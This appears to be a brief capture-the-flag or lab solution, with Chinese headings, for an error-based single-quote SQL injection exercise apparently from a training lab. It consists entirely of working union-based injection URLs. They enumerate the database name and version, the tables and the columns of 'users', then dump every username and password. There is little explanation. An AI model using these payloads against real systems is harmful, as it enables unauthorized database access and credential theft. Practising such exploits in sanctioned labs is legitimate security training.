题目:GET - Error based - Single quotes - String
?id=-1 'union select 1,database(),version()--+
?id=-1 'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
表名:emails,referers,uagents,users
?id=-1 'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
列名:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password
?id=-1 'union select 1,username,password from users limit 0,1--+
?id=-1 'union select 1,username,password from users limit 1,1--+
?id=-1 'union select 1,username,password from users limit 2,1--+
?id=-1 'union select 1,group_concat(username),group_concat(password) from users--+